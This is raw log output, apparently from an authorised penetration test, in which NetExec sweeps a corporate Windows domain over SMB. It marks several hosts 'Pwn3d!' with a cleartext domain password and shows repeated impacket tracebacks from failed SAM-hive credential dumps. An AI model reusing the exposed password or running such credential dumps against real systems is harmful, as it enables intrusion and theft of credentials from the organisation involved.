│ 924 │ │ keyHandle = ans['phkResult']

│ ❱ 925 │ │ [Link](self.__rrp, keyHandle,
'..\\Temp\\'+tmpFileName)

│ 926 │ │ [Link](self.__rrp, keyHandle)

│ 927 │ │ [Link](self.__rrp, regHandle)

│ 928 │ │ # Now let's open the remote file, so it can be
read later



│ /usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link]
in hBaseRegSaveKey



│ 943 │ request['hKey'] = hKey

│ 944 │ request['lpFile'] = checkNullString(lpFile)

│ 945 │ request['pSecurityAttributes'] =
pSecurityAttributes

│ ❱ 946 │ return [Link](request)

│ 947

│ 948 def hBaseRegSetValue(dce, hKey, lpValueName, dwType,
lpData):

│ 949 │ request = BaseRegSetValue()




/usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link] in request



│ 879 │ │ │ │ │ exception =
sessionErrorClass(error_code = error_code)

│ 880 │ │ │ │ else:

│ 881 │ │ │ │ │ exception =
sessionErrorClass(packet = response, error_code =

│ error_code)

│ ❱ 882 │ │ │ raise exception

│ 883 │ │ else:

│ 884 │ │ │ response = respClass(answer, isNDR64 =
isNDR64)

│ 885 │ │ │ return response

╰──────────────────────────────────────────────────────────────────────────────────
─────────────────────────────────────────────────────────────────────────╯

DCERPCException: DCERPC Runtime Error: code: 0x5 -


rpc_s_access_denied

SMB [Link] 445 OXOLT020002 [*] Windows 11 Build 22621 x64


(name:OXOLT020002) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXOLT020001 [*] Windows 11 Build 22621 x64
(name:OXOLT020001) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXOLT020084 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
SMB [Link] 445 OXODT031521 [*] Windows 10 / Server 2019
Build 19041 x64 (name:OXODT031521) (domain:[Link]) (signing:True)
(SMBv1:False)
SMB [Link] 445 OXODT033421 [*] Windows 10 / Server 2019
Build 19041 x64 (name:OXODT033421) (domain:[Link]) (signing:True)
(SMBv1:False)
SMB [Link] 445 OXODT030611 [*] Windows 10 / Server 2019
Build 19041 x64 (name:OXODT030611) (domain:[Link]) (signing:True)
(SMBv1:False)
SMB [Link] 445 OXODT031531 [*] Windows 10 / Server 2019
Build 19041 x64 (name:OXODT031531) (domain:[Link]) (signing:True)
(SMBv1:False)
SMB [Link] 445 OXODT031811 [*] Windows 11 Build 22621 x64
(name:OXODT031811) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT031941 [*] Windows 11 Build 22621 x64
(name:OXODT031941) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT0316131 [*] Windows 11 Build 22621 x64
(name:OXODT0316131) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT033511 [*] Windows 10 / Server 2019
Build 19041 x64 (name:OXODT033511) (domain:[Link]) (signing:True)
(SMBv1:False)
SMB [Link] 445 OXODT033911 [*] Windows 10 / Server 2019
Build 19041 x64 (name:OXODT033911) (domain:[Link]) (signing:True)
(SMBv1:False)
SMB [Link] 445 OXODT032611 [*] Windows 11 Build 22621 x64
(name:OXODT032611) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT031011 [*] Windows 10 / Server 2019
Build 19041 x64 (name:OXODT031011) (domain:[Link]) (signing:True)
(SMBv1:False)
SMB [Link] 445 OXFDT030003 [*] Windows 10 / Server 2019
Build 19041 x64 (name:OXFDT030003) (domain:[Link]) (signing:True)
(SMBv1:False)
SMB [Link] 445 OXODT030911 [*] Windows 11 Build 22621 x64
(name:OXODT030911) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT030621 [*] Windows 10 / Server 2019
Build 19041 x64 (name:OXODT030621) (domain:[Link]) (signing:True)
(SMBv1:False)
SMB [Link] 445 OXODT031931 [*] Windows 11 Build 22621 x64
(name:OXODT031931) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT030921 [*] Windows 11 Build 22621 x64
(name:OXODT030921) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT032711 [*] Windows 10 / Server 2019
Build 19041 x64 (name:OXODT032711) (domain:[Link]) (signing:True)
(SMBv1:False)
SMB [Link] 445 OXODT031511 [*] Windows 10 / Server 2019
Build 19041 x64 (name:OXODT031511) (domain:[Link]) (signing:True)
(SMBv1:False)
SMB [Link] 445 OXFLT030014 [*] Windows 10 / Server 2019
Build 19041 x64 (name:OXFLT030014) (domain:[Link]) (signing:True)
(SMBv1:False)
SMB [Link] 445 OXODT033021 [*] Windows 10 / Server 2019
Build 19041 x64 (name:OXODT033021) (domain:[Link]) (signing:True)
(SMBv1:False)
SMB [Link] 445 OXODT031911 [*] Windows 11 Build 22621 x64
(name:OXODT031911) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT030411 [*] Windows 10 / Server 2019
Build 19041 x64 (name:OXODT030411) (domain:[Link]) (signing:True)
(SMBv1:False)
SMB [Link] 445 OXODT034111 [*] Windows 10 / Server 2019
Build 19041 x64 (name:OXODT034111) (domain:[Link]) (signing:True)
(SMBv1:False)
SMB [Link] 445 OXODT030711 [*] Windows 10 / Server 2019
Build 19041 x64 (name:OXODT030711) (domain:[Link]) (signing:True)
(SMBv1:False)
SMB [Link] 445 OXODT031641 [*] Windows 11 Build 22621 x64
(name:OXODT031641) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT031711 [*] Windows 10 / Server 2019
Build 19041 x64 (name:OXODT031711) (domain:[Link]) (signing:True)
(SMBv1:False)
SMB [Link] 445 OXODT031821 [*] Windows 11 Build 22621 x64
(name:OXODT031821) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT0316121 [*] Windows 11 Build 22621 x64
(name:OXODT0316121) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT031691 [*] Windows 10 / Server 2019
Build 19041 x64 (name:OXODT031691) (domain:[Link]) (signing:True)
(SMBv1:False)
SMB [Link] 445 OXFLT030010 [*] Windows 10 / Server 2019
Build 19041 x64 (name:OXFLT030010) (domain:[Link]) (signing:True)
(SMBv1:False)
SMB [Link] 445 OXFLT030009 [*] Windows 10 / Server 2019
Build 19041 x64 (name:OXFLT030009) (domain:[Link]) (signing:True)
(SMBv1:False)
SMB [Link] 445 OXODT031671 [*] Windows 11 Build 22621 x64
(name:OXODT031671) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXFLT030016 [*] Windows 10 / Server 2019
Build 19041 x64 (name:OXFLT030016) (domain:[Link]) (signing:True)
(SMBv1:False)
SMB [Link] 445 OXODT034611 [*] Windows 10 / Server 2019
Build 19041 x64 (name:OXODT034611) (domain:[Link]) (signing:True)
(SMBv1:False)
SMB [Link] 445 OXODT034811 [*] Windows 10 / Server 2019
Build 19041 x64 (name:OXODT034811) (domain:[Link]) (signing:True)
(SMBv1:False)
SMB [Link] 445 OXODT031411 [*] Windows 10 / Server 2019
Build 19041 x64 (name:OXODT031411) (domain:[Link]) (signing:True)
(SMBv1:False)
SMB [Link] 445 OXODT032521 [*] Windows 10 / Server 2019
Build 19041 x64 (name:OXODT032521) (domain:[Link]) (signing:True)
(SMBv1:False)
SMB [Link] 445 OXODT032311 [*] Windows 10 / Server 2019
Build 19041 x64 (name:OXODT032311) (domain:[Link]) (signing:True)
(SMBv1:False)
SMB [Link] 445 OXODT030311 [*] Windows 10 / Server 2019
Build 19041 x64 (name:OXODT030311) (domain:[Link]) (signing:True)
(SMBv1:False)
SMB [Link] 445 OXODT034821 [*] Windows 11 Build 22621 x64
(name:OXODT034821) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT0316101 [*] Windows 10 / Server 2019
Build 19041 x64 (name:OXODT0316101) (domain:[Link]) (signing:True)
(SMBv1:False)
SMB [Link] 445 OXODT031311 [*] Windows 10 / Server 2019
Build 19041 x64 (name:OXODT031311) (domain:[Link]) (signing:True)
(SMBv1:False)
SMB [Link] 445 OXODT032511 [*] Windows 10 / Server 2019
Build 19041 x64 (name:OXODT032511) (domain:[Link]) (signing:True)
(SMBv1:False)
SMB [Link] 445 OXODT031661 [*] Windows 11 Build 22621 x64
(name:OXODT031661) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXFLT030013 [*] Windows 10 / Server 2019
Build 19041 x64 (name:OXFLT030013) (domain:[Link]) (signing:True)
(SMBv1:False)
SMB [Link] 445 OXODT032211 [*] Windows 10 / Server 2019
Build 19041 x64 (name:OXODT032211) (domain:[Link]) (signing:True)
(SMBv1:False)
SMB [Link] 445 OXODT034211 [*] Windows 11 Build 22621 x64
(name:OXODT034211) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT030211 [*] Windows 10 / Server 2019
Build 19041 x64 (name:OXODT030211) (domain:[Link]) (signing:True)
(SMBv1:False)
SMB [Link] 445 OXODT033431 [*] Windows 11 Build 22621 x64
(name:OXODT033431) (domain:[Link]) (signing:True) (SMBv1:False)
[Link] ERROR DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[Link]
╭────────────────────────────────────────────────────────────
Traceback (most recent call last)
────────────────────────────────────────────────────────────╮
│ /usr/lib/python3/dist-packages/nxc/protocols/[Link] in
sam



│ 1493 │ │ │ add_sam_hash.sam_hashes = 0

│ 1494 │ │ │

│ 1495 │ │ │ if self.remote_ops and [Link]:

│ ❱ 1496 │ │ │ │ SAM_file_name =
self.remote_ops.saveSAM()

│ 1497 │ │ │ │ SAM = SAMHashes(

│ 1498 │ │ │ │ │ SAM_file_name,

│ 1499 │ │ │ │ │ [Link],




/usr/lib/python3/dist-packages/impacket/examples/[Link] in saveSAM



│ 931 │

│ 932 │ def saveSAM(self):

│ 933 │ │ [Link]('Saving remote SAM database')

│ ❱ 934 │ │ return self.__retrieveHive('SAM')

│ 935 │

│ 936 │ def saveSECURITY(self):

│ 937 │ │ [Link]('Saving remote SECURITY database')




/usr/lib/python3/dist-packages/impacket/examples/[Link] in
__retrieveHive



│ 922 │ │ except:

│ 923 │ │ │ raise Exception("Can't open %s hive" %
hiveName)

│ 924 │ │ keyHandle = ans['phkResult']

│ ❱ 925 │ │ [Link](self.__rrp, keyHandle,
'..\\Temp\\'+tmpFileName)

│ 926 │ │ [Link](self.__rrp, keyHandle)

│ 927 │ │ [Link](self.__rrp, regHandle)

│ 928 │ │ # Now let's open the remote file, so it can be
read later



│ /usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link]
in hBaseRegSaveKey



│ 943 │ request['hKey'] = hKey

│ 944 │ request['lpFile'] = checkNullString(lpFile)

│ 945 │ request['pSecurityAttributes'] =
pSecurityAttributes

│ ❱ 946 │ return [Link](request)

│ 947

│ 948 def hBaseRegSetValue(dce, hKey, lpValueName, dwType,
lpData):

│ 949 │ request = BaseRegSetValue()




/usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link] in request



│ 879 │ │ │ │ │ exception =
sessionErrorClass(error_code = error_code)

│ 880 │ │ │ │ else:

│ 881 │ │ │ │ │ exception =
sessionErrorClass(packet = response, error_code =

│ error_code)

│ ❱ 882 │ │ │ raise exception

│ 883 │ │ else:

│ 884 │ │ │ response = respClass(answer, isNDR64 =
isNDR64)

│ 885 │ │ │ return response

╰──────────────────────────────────────────────────────────────────────────────────
─────────────────────────────────────────────────────────────────────────╯

DCERPCException: DCERPC Runtime Error: code: 0x5 -


rpc_s_access_denied

SMB [Link] 445 OXOLT020075 [+] [Link]\


oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
SMB [Link] 445 OXOLT020002 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
SMB [Link] 445 OXODT032811 [*] Windows 10 / Server 2019
Build 19041 x64 (name:OXODT032811) (domain:[Link]) (signing:True)
(SMBv1:False)
[Link] ERROR DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[Link]
╭────────────────────────────────────────────────────────────
Traceback (most recent call last)
────────────────────────────────────────────────────────────╮
│ /usr/lib/python3/dist-packages/nxc/protocols/[Link] in
sam



│ 1493 │ │ │ add_sam_hash.sam_hashes = 0

│ 1494 │ │ │

│ 1495 │ │ │ if self.remote_ops and [Link]:

│ ❱ 1496 │ │ │ │ SAM_file_name =
self.remote_ops.saveSAM()

│ 1497 │ │ │ │ SAM = SAMHashes(

│ 1498 │ │ │ │ │ SAM_file_name,

│ 1499 │ │ │ │ │ [Link],




/usr/lib/python3/dist-packages/impacket/examples/[Link] in saveSAM



│ 931 │

│ 932 │ def saveSAM(self):

│ 933 │ │ [Link]('Saving remote SAM database')

│ ❱ 934 │ │ return self.__retrieveHive('SAM')

│ 935 │

│ 936 │ def saveSECURITY(self):

│ 937 │ │ [Link]('Saving remote SECURITY database')




/usr/lib/python3/dist-packages/impacket/examples/[Link] in
__retrieveHive



│ 922 │ │ except:

│ 923 │ │ │ raise Exception("Can't open %s hive" %
hiveName)

│ 924 │ │ keyHandle = ans['phkResult']

│ ❱ 925 │ │ [Link](self.__rrp, keyHandle,
'..\\Temp\\'+tmpFileName)

│ 926 │ │ [Link](self.__rrp, keyHandle)

│ 927 │ │ [Link](self.__rrp, regHandle)

│ 928 │ │ # Now let's open the remote file, so it can be
read later



│ /usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link]
in hBaseRegSaveKey



│ 943 │ request['hKey'] = hKey

│ 944 │ request['lpFile'] = checkNullString(lpFile)

│ 945 │ request['pSecurityAttributes'] =
pSecurityAttributes

│ ❱ 946 │ return [Link](request)

│ 947

│ 948 def hBaseRegSetValue(dce, hKey, lpValueName, dwType,
lpData):

│ 949 │ request = BaseRegSetValue()




/usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link] in request



│ 879 │ │ │ │ │ exception =
sessionErrorClass(error_code = error_code)

│ 880 │ │ │ │ else:

│ 881 │ │ │ │ │ exception =
sessionErrorClass(packet = response, error_code =

│ error_code)

│ ❱ 882 │ │ │ raise exception

│ 883 │ │ else:

│ 884 │ │ │ response = respClass(answer, isNDR64 =
isNDR64)

│ 885 │ │ │ return response

╰──────────────────────────────────────────────────────────────────────────────────
─────────────────────────────────────────────────────────────────────────╯

DCERPCException: DCERPC Runtime Error: code: 0x5 -


rpc_s_access_denied

SMB [Link] 445 OXOLT020001 [+] [Link]\


oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
SMB [Link] 445 OXODT031521 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
SMB [Link] 445 OXODT033421 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
[Link] ERROR DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[Link]
╭────────────────────────────────────────────────────────────
Traceback (most recent call last)
────────────────────────────────────────────────────────────╮
│ /usr/lib/python3/dist-packages/nxc/protocols/[Link] in
sam



│ 1493 │ │ │ add_sam_hash.sam_hashes = 0

│ 1494 │ │ │

│ 1495 │ │ │ if self.remote_ops and [Link]:

│ ❱ 1496 │ │ │ │ SAM_file_name =
self.remote_ops.saveSAM()

│ 1497 │ │ │ │ SAM = SAMHashes(

│ 1498 │ │ │ │ │ SAM_file_name,

│ 1499 │ │ │ │ │ [Link],




/usr/lib/python3/dist-packages/impacket/examples/[Link] in saveSAM



│ 931 │

│ 932 │ def saveSAM(self):

│ 933 │ │ [Link]('Saving remote SAM database')

│ ❱ 934 │ │ return self.__retrieveHive('SAM')

│ 935 │

│ 936 │ def saveSECURITY(self):

│ 937 │ │ [Link]('Saving remote SECURITY database')




/usr/lib/python3/dist-packages/impacket/examples/[Link] in
__retrieveHive



│ 922 │ │ except:

│ 923 │ │ │ raise Exception("Can't open %s hive" %
hiveName)

│ 924 │ │ keyHandle = ans['phkResult']

│ ❱ 925 │ │ [Link](self.__rrp, keyHandle,
'..\\Temp\\'+tmpFileName)

│ 926 │ │ [Link](self.__rrp, keyHandle)

│ 927 │ │ [Link](self.__rrp, regHandle)

│ 928 │ │ # Now let's open the remote file, so it can be
read later



│ /usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link]
in hBaseRegSaveKey



│ 943 │ request['hKey'] = hKey

│ 944 │ request['lpFile'] = checkNullString(lpFile)

│ 945 │ request['pSecurityAttributes'] =
pSecurityAttributes

│ ❱ 946 │ return [Link](request)

│ 947

│ 948 def hBaseRegSetValue(dce, hKey, lpValueName, dwType,
lpData):

│ 949 │ request = BaseRegSetValue()




/usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link] in request



│ 879 │ │ │ │ │ exception =
sessionErrorClass(error_code = error_code)

│ 880 │ │ │ │ else:

│ 881 │ │ │ │ │ exception =
sessionErrorClass(packet = response, error_code =

│ error_code)

│ ❱ 882 │ │ │ raise exception

│ 883 │ │ else:

│ 884 │ │ │ response = respClass(answer, isNDR64 =
isNDR64)

│ 885 │ │ │ return response

╰──────────────────────────────────────────────────────────────────────────────────
─────────────────────────────────────────────────────────────────────────╯

DCERPCException: DCERPC Runtime Error: code: 0x5 -


rpc_s_access_denied

[Link] ERROR DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied


[Link]
╭────────────────────────────────────────────────────────────
Traceback (most recent call last)
────────────────────────────────────────────────────────────╮
│ /usr/lib/python3/dist-packages/nxc/protocols/[Link] in
sam



│ 1493 │ │ │ add_sam_hash.sam_hashes = 0

│ 1494 │ │ │

│ 1495 │ │ │ if self.remote_ops and [Link]:

│ ❱ 1496 │ │ │ │ SAM_file_name =
self.remote_ops.saveSAM()

│ 1497 │ │ │ │ SAM = SAMHashes(

│ 1498 │ │ │ │ │ SAM_file_name,

│ 1499 │ │ │ │ │ [Link],




/usr/lib/python3/dist-packages/impacket/examples/[Link] in saveSAM



│ 931 │

│ 932 │ def saveSAM(self):

│ 933 │ │ [Link]('Saving remote SAM database')

│ ❱ 934 │ │ return self.__retrieveHive('SAM')

│ 935 │

│ 936 │ def saveSECURITY(self):

│ 937 │ │ [Link]('Saving remote SECURITY database')




/usr/lib/python3/dist-packages/impacket/examples/[Link] in
__retrieveHive



│ 922 │ │ except:

│ 923 │ │ │ raise Exception("Can't open %s hive" %
hiveName)

│ 924 │ │ keyHandle = ans['phkResult']

│ ❱ 925 │ │ [Link](self.__rrp, keyHandle,
'..\\Temp\\'+tmpFileName)

│ 926 │ │ [Link](self.__rrp, keyHandle)

│ 927 │ │ [Link](self.__rrp, regHandle)

│ 928 │ │ # Now let's open the remote file, so it can be
read later



│ /usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link]
in hBaseRegSaveKey



│ 943 │ request['hKey'] = hKey

│ 944 │ request['lpFile'] = checkNullString(lpFile)

│ 945 │ request['pSecurityAttributes'] =
pSecurityAttributes

│ ❱ 946 │ return [Link](request)

│ 947

│ 948 def hBaseRegSetValue(dce, hKey, lpValueName, dwType,
lpData):

│ 949 │ request = BaseRegSetValue()




/usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link] in request



│ 879 │ │ │ │ │ exception =
sessionErrorClass(error_code = error_code)

│ 880 │ │ │ │ else:

│ 881 │ │ │ │ │ exception =
sessionErrorClass(packet = response, error_code =

│ error_code)

│ ❱ 882 │ │ │ raise exception

│ 883 │ │ else:

│ 884 │ │ │ response = respClass(answer, isNDR64 =
isNDR64)

│ 885 │ │ │ return response

╰──────────────────────────────────────────────────────────────────────────────────
─────────────────────────────────────────────────────────────────────────╯
DCERPCException: DCERPC Runtime Error: code: 0x5 -
rpc_s_access_denied

SMB [Link] 445 OXODT030611 [+] [Link]\


oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
[Link] ERROR DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[Link]
╭────────────────────────────────────────────────────────────
Traceback (most recent call last)
────────────────────────────────────────────────────────────╮
│ /usr/lib/python3/dist-packages/nxc/protocols/[Link] in
sam



│ 1493 │ │ │ add_sam_hash.sam_hashes = 0

│ 1494 │ │ │

│ 1495 │ │ │ if self.remote_ops and [Link]:

│ ❱ 1496 │ │ │ │ SAM_file_name =
self.remote_ops.saveSAM()

│ 1497 │ │ │ │ SAM = SAMHashes(

│ 1498 │ │ │ │ │ SAM_file_name,

│ 1499 │ │ │ │ │ [Link],




/usr/lib/python3/dist-packages/impacket/examples/[Link] in saveSAM



│ 931 │

│ 932 │ def saveSAM(self):

│ 933 │ │ [Link]('Saving remote SAM database')

│ ❱ 934 │ │ return self.__retrieveHive('SAM')

│ 935 │

│ 936 │ def saveSECURITY(self):

│ 937 │ │ [Link]('Saving remote SECURITY database')




/usr/lib/python3/dist-packages/impacket/examples/[Link] in
__retrieveHive



│ 922 │ │ except:

│ 923 │ │ │ raise Exception("Can't open %s hive" %
hiveName)

│ 924 │ │ keyHandle = ans['phkResult']

│ ❱ 925 │ │ [Link](self.__rrp, keyHandle,
'..\\Temp\\'+tmpFileName)

│ 926 │ │ [Link](self.__rrp, keyHandle)

│ 927 │ │ [Link](self.__rrp, regHandle)

│ 928 │ │ # Now let's open the remote file, so it can be
read later



│ /usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link]
in hBaseRegSaveKey



│ 943 │ request['hKey'] = hKey

│ 944 │ request['lpFile'] = checkNullString(lpFile)

│ 945 │ request['pSecurityAttributes'] =
pSecurityAttributes

│ ❱ 946 │ return [Link](request)

│ 947

│ 948 def hBaseRegSetValue(dce, hKey, lpValueName, dwType,
lpData):

│ 949 │ request = BaseRegSetValue()




/usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link] in request



│ 879 │ │ │ │ │ exception =
sessionErrorClass(error_code = error_code)

│ 880 │ │ │ │ else:

│ 881 │ │ │ │ │ exception =
sessionErrorClass(packet = response, error_code =

│ error_code)

│ ❱ 882 │ │ │ raise exception

│ 883 │ │ else:

│ 884 │ │ │ response = respClass(answer, isNDR64 =
isNDR64)

│ 885 │ │ │ return response

╰──────────────────────────────────────────────────────────────────────────────────
─────────────────────────────────────────────────────────────────────────╯

DCERPCException: DCERPC Runtime Error: code: 0x5 -


rpc_s_access_denied

[Link] ERROR DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied


[Link]
╭────────────────────────────────────────────────────────────
Traceback (most recent call last)
────────────────────────────────────────────────────────────╮
│ /usr/lib/python3/dist-packages/nxc/protocols/[Link] in
sam



│ 1493 │ │ │ add_sam_hash.sam_hashes = 0

│ 1494 │ │ │

│ 1495 │ │ │ if self.remote_ops and [Link]:

│ ❱ 1496 │ │ │ │ SAM_file_name =
self.remote_ops.saveSAM()

│ 1497 │ │ │ │ SAM = SAMHashes(

│ 1498 │ │ │ │ │ SAM_file_name,

│ 1499 │ │ │ │ │ [Link],




/usr/lib/python3/dist-packages/impacket/examples/[Link] in saveSAM



│ 931 │

│ 932 │ def saveSAM(self):

│ 933 │ │ [Link]('Saving remote SAM database')

│ ❱ 934 │ │ return self.__retrieveHive('SAM')

│ 935 │

│ 936 │ def saveSECURITY(self):

│ 937 │ │ [Link]('Saving remote SECURITY database')




/usr/lib/python3/dist-packages/impacket/examples/[Link] in
__retrieveHive



│ 922 │ │ except:

│ 923 │ │ │ raise Exception("Can't open %s hive" %
hiveName)

│ 924 │ │ keyHandle = ans['phkResult']

│ ❱ 925 │ │ [Link](self.__rrp, keyHandle,
'..\\Temp\\'+tmpFileName)

│ 926 │ │ [Link](self.__rrp, keyHandle)

│ 927 │ │ [Link](self.__rrp, regHandle)

│ 928 │ │ # Now let's open the remote file, so it can be
read later



│ /usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link]
in hBaseRegSaveKey



│ 943 │ request['hKey'] = hKey

│ 944 │ request['lpFile'] = checkNullString(lpFile)

│ 945 │ request['pSecurityAttributes'] =
pSecurityAttributes

│ ❱ 946 │ return [Link](request)

│ 947

│ 948 def hBaseRegSetValue(dce, hKey, lpValueName, dwType,
lpData):

│ 949 │ request = BaseRegSetValue()




/usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link] in request



│ 879 │ │ │ │ │ exception =
sessionErrorClass(error_code = error_code)

│ 880 │ │ │ │ else:

│ 881 │ │ │ │ │ exception =
sessionErrorClass(packet = response, error_code =

│ error_code)

│ ❱ 882 │ │ │ raise exception

│ 883 │ │ else:

│ 884 │ │ │ response = respClass(answer, isNDR64 =
isNDR64)

│ 885 │ │ │ return response

╰──────────────────────────────────────────────────────────────────────────────────
─────────────────────────────────────────────────────────────────────────╯

DCERPCException: DCERPC Runtime Error: code: 0x5 -


rpc_s_access_denied

SMB [Link] 445 OXODT031531 [+] [Link]\


oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
[Link] ERROR DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[Link]
╭────────────────────────────────────────────────────────────
Traceback (most recent call last)
────────────────────────────────────────────────────────────╮
│ /usr/lib/python3/dist-packages/nxc/protocols/[Link] in
sam



│ 1493 │ │ │ add_sam_hash.sam_hashes = 0

│ 1494 │ │ │

│ 1495 │ │ │ if self.remote_ops and [Link]:

│ ❱ 1496 │ │ │ │ SAM_file_name =
self.remote_ops.saveSAM()

│ 1497 │ │ │ │ SAM = SAMHashes(

│ 1498 │ │ │ │ │ SAM_file_name,

│ 1499 │ │ │ │ │ [Link],




/usr/lib/python3/dist-packages/impacket/examples/[Link] in saveSAM



│ 931 │

│ 932 │ def saveSAM(self):

│ 933 │ │ [Link]('Saving remote SAM database')

│ ❱ 934 │ │ return self.__retrieveHive('SAM')

│ 935 │

│ 936 │ def saveSECURITY(self):

│ 937 │ │ [Link]('Saving remote SECURITY database')




/usr/lib/python3/dist-packages/impacket/examples/[Link] in
__retrieveHive



│ 922 │ │ except:

│ 923 │ │ │ raise Exception("Can't open %s hive" %
hiveName)

│ 924 │ │ keyHandle = ans['phkResult']

│ ❱ 925 │ │ [Link](self.__rrp, keyHandle,
'..\\Temp\\'+tmpFileName)

│ 926 │ │ [Link](self.__rrp, keyHandle)

│ 927 │ │ [Link](self.__rrp, regHandle)

│ 928 │ │ # Now let's open the remote file, so it can be
read later



│ /usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link]
in hBaseRegSaveKey



│ 943 │ request['hKey'] = hKey

│ 944 │ request['lpFile'] = checkNullString(lpFile)

│ 945 │ request['pSecurityAttributes'] =
pSecurityAttributes

│ ❱ 946 │ return [Link](request)

│ 947

│ 948 def hBaseRegSetValue(dce, hKey, lpValueName, dwType,
lpData):

│ 949 │ request = BaseRegSetValue()




/usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link] in request



│ 879 │ │ │ │ │ exception =
sessionErrorClass(error_code = error_code)

│ 880 │ │ │ │ else:

│ 881 │ │ │ │ │ exception =
sessionErrorClass(packet = response, error_code =

│ error_code)

│ ❱ 882 │ │ │ raise exception

│ 883 │ │ else:

│ 884 │ │ │ response = respClass(answer, isNDR64 =
isNDR64)

│ 885 │ │ │ return response

╰──────────────────────────────────────────────────────────────────────────────────
─────────────────────────────────────────────────────────────────────────╯

DCERPCException: DCERPC Runtime Error: code: 0x5 -


rpc_s_access_denied

SMB [Link] 445 OXODT031811 [+] [Link]\


oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
[Link] ERROR DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[Link]
╭────────────────────────────────────────────────────────────
Traceback (most recent call last)
────────────────────────────────────────────────────────────╮
│ /usr/lib/python3/dist-packages/nxc/protocols/[Link] in
sam



│ 1493 │ │ │ add_sam_hash.sam_hashes = 0

│ 1494 │ │ │

│ 1495 │ │ │ if self.remote_ops and [Link]:

│ ❱ 1496 │ │ │ │ SAM_file_name =
self.remote_ops.saveSAM()

│ 1497 │ │ │ │ SAM = SAMHashes(

│ 1498 │ │ │ │ │ SAM_file_name,

│ 1499 │ │ │ │ │ [Link],




/usr/lib/python3/dist-packages/impacket/examples/[Link] in saveSAM



│ 931 │

│ 932 │ def saveSAM(self):

│ 933 │ │ [Link]('Saving remote SAM database')

│ ❱ 934 │ │ return self.__retrieveHive('SAM')

│ 935 │

│ 936 │ def saveSECURITY(self):

│ 937 │ │ [Link]('Saving remote SECURITY database')




/usr/lib/python3/dist-packages/impacket/examples/[Link] in
__retrieveHive



│ 922 │ │ except:

│ 923 │ │ │ raise Exception("Can't open %s hive" %
hiveName)

│ 924 │ │ keyHandle = ans['phkResult']

│ ❱ 925 │ │ [Link](self.__rrp, keyHandle,
'..\\Temp\\'+tmpFileName)

│ 926 │ │ [Link](self.__rrp, keyHandle)

│ 927 │ │ [Link](self.__rrp, regHandle)

│ 928 │ │ # Now let's open the remote file, so it can be
read later



│ /usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link]
in hBaseRegSaveKey



│ 943 │ request['hKey'] = hKey

│ 944 │ request['lpFile'] = checkNullString(lpFile)

│ 945 │ request['pSecurityAttributes'] =
pSecurityAttributes

│ ❱ 946 │ return [Link](request)

│ 947

│ 948 def hBaseRegSetValue(dce, hKey, lpValueName, dwType,
lpData):

│ 949 │ request = BaseRegSetValue()




/usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link] in request



│ 879 │ │ │ │ │ exception =
sessionErrorClass(error_code = error_code)

│ 880 │ │ │ │ else:

│ 881 │ │ │ │ │ exception =
sessionErrorClass(packet = response, error_code =

│ error_code)

│ ❱ 882 │ │ │ raise exception

│ 883 │ │ else:

│ 884 │ │ │ response = respClass(answer, isNDR64 =
isNDR64)

│ 885 │ │ │ return response

╰──────────────────────────────────────────────────────────────────────────────────
─────────────────────────────────────────────────────────────────────────╯

DCERPCException: DCERPC Runtime Error: code: 0x5 -


rpc_s_access_denied

SMB [Link] 445 OXODT031941 [+] [Link]\


